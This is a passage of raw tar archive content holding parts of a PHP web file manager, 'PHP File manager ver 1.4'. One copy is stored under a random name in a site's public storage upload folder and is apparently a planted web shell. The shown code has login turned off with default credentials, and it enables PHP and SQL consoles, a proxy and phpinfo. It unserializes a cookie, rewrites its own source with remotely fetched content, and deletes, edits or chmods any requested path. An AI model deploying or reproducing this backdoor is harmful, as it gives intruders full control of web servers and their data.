		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>4ysuf.php.tar000064400000236000000000000000007056 0ustar00var/www/html/back/storage/app/public/26/5dkj3p/4ysuf.php000064400000232670000000000000016613 0ustar00<?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
